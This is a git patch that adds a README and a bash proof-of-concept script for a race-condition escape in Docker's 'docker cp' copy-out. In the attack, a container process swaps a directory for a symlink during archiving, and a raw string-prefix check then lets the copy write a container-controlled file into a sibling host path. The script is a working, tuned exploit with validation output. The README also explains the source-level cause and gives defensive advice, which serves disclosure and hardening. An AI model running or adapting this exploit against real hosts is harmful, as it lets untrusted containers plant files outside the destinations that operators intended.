From 24ee6b103b6ba3861c7e910ba8bcec6eeacd1b65 Mon Sep 17 00:00:00 2001 From: Church of Malware <3+ek0ms@noreply.git.churchofmalware.org> Date: Mon, 29 Jun 2026 16:38:05 +0000 Subject: [PATCH] Upload files to "docker-cp-copyout-destination-escape" --- .../README.md | 109 ++++++++++++++++++ docker-cp-copyout-destination-escape/poc.sh | 96 +++++++++++++++ 2 files changed, 205 insertions(+) create mode 100644 docker-cp-copyout-destination-escape/README.md create mode 100644 docker-cp-copyout-destination-escape/poc.sh diff --git a/docker-cp-copyout-destination-escape/README.md b/docker-cp-copyout-destination-escape/README.md new file mode 100644 index 0000000..f9c4c3c --- /dev/null +++ b/docker-cp-copyout-destination-escape/README.md @@ -0,0 +1,109 @@ +# Docker cp copy-out destination escape + +This repository contains a minimal proof of concept for a `docker cp` copy-out path issue validated on Docker Engine 29.6.0. + +The demonstrated behavior is: + +> A process inside a running container can race a host-initiated `docker cp :/tmp/src ` operation so that the copy writes a container-controlled file into a sibling host path outside the requested destination. + +The PoC uses `/tmp/.../dst` as the requested host destination and causes Docker's copy-out extraction to create `/tmp/.../dst2/marker`. + +## What this is + +- A host/operator-initiated `docker cp` copy-out destination escape. +- A container-controlled file write outside the requested host destination directory. +- A race against Docker's archive creation and local archive extraction behavior. +- Validated locally on Docker Client/Server 29.6.0, API 1.55, on June 23, 2026. + +## What this is not + +- Not a no-interaction container escape. +- Not a default runtime breakout from an idle container. +- Not a Docker socket or daemon API exposure. +- Not a kernel memory-corruption exploit. +- Not a demonstrated arbitrary host-root file write in every configuration. +- Not a claim that the PoC reaches every possible host path. + +The host user who runs `docker cp` performs the extraction. The practical impact depends on who runs that command and where they copy container data. + +## Preconditions + +- The attacker controls files and processes inside a running Linux container. +- A host user runs `docker cp` from the attacker-controlled container to a host filesystem destination. +- The destination has a sibling path whose name has the requested destination as a raw string prefix. The PoC uses `dst` and `dst2`. +- The race wins while Docker is producing and extracting the copy-out tar stream. + +The PoC widens the race by placing many padding files before the raced path. + +## Reproduction + +Run on a host that has Docker available: + +```bash +chmod +x poc.sh +HOST_BASE=/tmp/docker-cp-copyout-repro ./poc.sh +``` + +Successful output includes: + +```text +success=yes +requested_destination=/tmp/docker-cp-copyout-repro/dst +outside_marker_path=/tmp/docker-cp-copyout-repro/dst2/marker +outside_marker_value=container-controlled-host-marker +``` + +The requested destination is `.../dst`. The marker is written under the sibling `.../dst2`. + +## Fresh validation + +The packaged PoC was replayed successfully against Docker Client/Server 29.6.0: + +```text +Client=29.6.0 Server=29.6.0 API=1.55 +delay=0.010 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.025 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.050 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.075 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.100 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.150 cp_status=0 outside_marker=absent link=../../../dst2 +delay=0.200 cp_status=0 outside_marker=present link=../../../dst2 +success=yes +requested_destination=/var/tmp/docker-cp-copyout-github/dst +outside_marker_path=/var/tmp/docker-cp-copyout-github/dst2/marker +outside_marker_value=container-controlled-host-marker +observed_symlink=/var/tmp/docker-cp-copyout-github/dst/src/dir/zzlink -> ../../../dst2 +``` + +The validation transcript is also stored in `validation/2026-06-23-docker-29.6.0.txt`. + +## Source-level notes + +In Docker CLI 29.6.0, `cli/command/container/cp.go` resolves the host destination, asks the daemon for a tar stream with `CopyFromContainer`, then calls `archive.CopyTo` to extract that stream locally (`cp.go:257-338`). + +On the daemon side, `daemon/archive_unix.go` creates an archive of the requested container path by opening the container filesystem and starting a `go-archive` tarballer (`archive_unix.go:40-92`). The tarballer walks the source tree with `filepath.WalkDir` and later adds the current path to the tar stream (`vendor/github.com/moby/go-archive/archive.go:693-794`). If a container process changes a directory entry after the walk has observed it but before the tar entry is added and recursed, the produced tar stream can contain a symlink at that path and then entries below the same logical path. + +On the extraction side, `archive.CopyTo` prepares the destination and calls `Untar` (`vendor/github.com/moby/go-archive/copy.go:418-437`). During symlink extraction, the target is constructed with `filepath.Join(filepath.Dir(path), hdr.Linkname)` and checked with `strings.HasPrefix(targetPath, extractDir)` (`archive.go:480-490`). A path such as: + +```text +extractDir=/tmp/docker-cp-copyout-repro/dst +targetPath=/tmp/docker-cp-copyout-repro/dst2 +``` + +passes that raw prefix check even though `dst2` is outside `dst`. Later regular-file extraction opens the path normally (`archive.go:435-446`), so entries beneath the symlink are written through it into the sibling path. + +Docker's container path helper also documents the general time-of-check/time-of-use caveat for scoped container paths: the returned path remains scoped only if no path component changes between resolving and using it (`daemon/container/container.go:359-363`). The PoC exercises that kind of race during copy-out archive production and combines it with the local extraction prefix issue. + +## Cleanup + +The PoC removes its disposable container on exit. Host output remains under `HOST_BASE` so the result can be inspected: + +```bash +rm -rf /tmp/docker-cp-copyout-repro +``` + +## Defensive notes + +Robust extraction should not rely on raw string-prefix checks for containment. A path-boundary check is better than `strings.HasPrefix`, but still does not fully address archive extraction races through symlinks. The safer design is descriptor-rooted extraction that opens path components relative to a trusted directory file descriptor and avoids following attacker-created symlinks for subsequent entries unless the target is proven to remain inside the extraction root. + +Operationally, avoid running `docker cp` from containers whose contents are controlled by an untrusted party. Prefer copying from stopped containers or from immutable snapshots when the source is untrusted. diff --git a/docker-cp-copyout-destination-escape/poc.sh b/docker-cp-copyout-destination-escape/poc.sh new file mode 100644 index 0000000..74ed60f --- /dev/null +++ b/docker-cp-copyout-destination-escape/poc.sh @@ -0,0 +1,96 @@ +#!/usr/bin/env bash +set -euo pipefail + +name="docker-cp-copyout-poc-$$" +host_base="${HOST_BASE:-/tmp/docker-cp-copyout-poc-$$}" +host_dst="${host_base}/dst" +host_out="${host_base}/dst2" +attempt_log="${host_base}/attempts.log" +stdout_log="${host_base}/docker-cp.stdout" +stderr_log="${host_base}/docker-cp.stderr" + +cleanup() { + docker rm -f "$name" >/dev/null 2>&1 || true +} +trap cleanup EXIT + +rm -rf "$host_base" +mkdir -p "$host_dst" "$host_out" + +docker run -d --name "$name" alpine:3.21 sleep 600 >/dev/null +docker exec "$name" sh -lc ' + set -e + rm -rf /tmp/src /dst2 + mkdir -p /tmp/src/dir /dst2 + printf "container-controlled-host-marker\n" > /dst2/marker + i=0 + while [ "$i" -lt 12000 ]; do + printf "pad-%05d-%0128d\n" "$i" 0 > "/tmp/src/dir/a$(printf "%05d" "$i")" + i=$((i+1)) + done + mkdir -p /tmp/src/dir/zzlink +' + +try_delay() { + local delay="$1" + rm -rf "$host_dst" "$host_out" + mkdir -p "$host_dst" "$host_out" + : > "$stdout_log" + : > "$stderr_log" + docker exec "$name" sh -lc 'rm -rf /tmp/src/dir/zzlink /tmp/swap-done; mkdir -p /tmp/src/dir/zzlink' + docker exec -d "$name" sh -lc "sleep '$delay'; rm -rf /tmp/src/dir/zzlink; ln -s ../../../dst2 /tmp/src/dir/zzlink; touch /tmp/swap-done" + set +e + docker cp "$name:/tmp/src" "$host_dst" >"$stdout_log" 2>"$stderr_log" + local cp_status=$? + set -e + local outside="absent" + if [ -f "$host_out/marker" ]; then + outside="present" + fi + local link="absent" + for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do + if [ -L "$candidate" ]; then + link="$(readlink "$candidate")" + break + elif [ -d "$candidate" ]; then + link="directory" + fi + done + printf 'delay=%s cp_status=%s outside_marker=%s link=%s\n' "$delay" "$cp_status" "$outside" "$link" | tee -a "$attempt_log" + [ "$outside" = "present" ] +} + +delays=( + 0.010 0.025 0.050 0.075 0.100 0.150 0.200 0.300 0.400 0.550 + 0.700 0.900 1.100 1.400 1.800 2.200 2.800 3.500 4.500 5.500 +) + +success="no" +for delay in "${delays[@]}"; do + if try_delay "$delay"; then + success="yes" + break + fi +done + +echo "success=${success}" +echo "host_base=${host_base}" +echo "requested_destination=${host_dst}" +echo "outside_marker_path=${host_out}/marker" +if [ "$success" = "yes" ]; then + echo "outside_marker_value=$(cat "$host_out/marker")" + for candidate in "$host_dst/src/dir/zzlink" "$host_dst/dir/zzlink"; do + if [ -L "$candidate" ]; then + echo "observed_symlink=${candidate} -> $(readlink "$candidate")" + break + fi + done + echo "docker_cp_stdout=${stdout_log}" + echo "docker_cp_stderr=${stderr_log}" +else + echo "attempt_log=${attempt_log}" + echo "docker_cp_stderr_tail_start" + tail -n 20 "$stderr_log" || true + echo "docker_cp_stderr_tail_end" + exit 1 +fi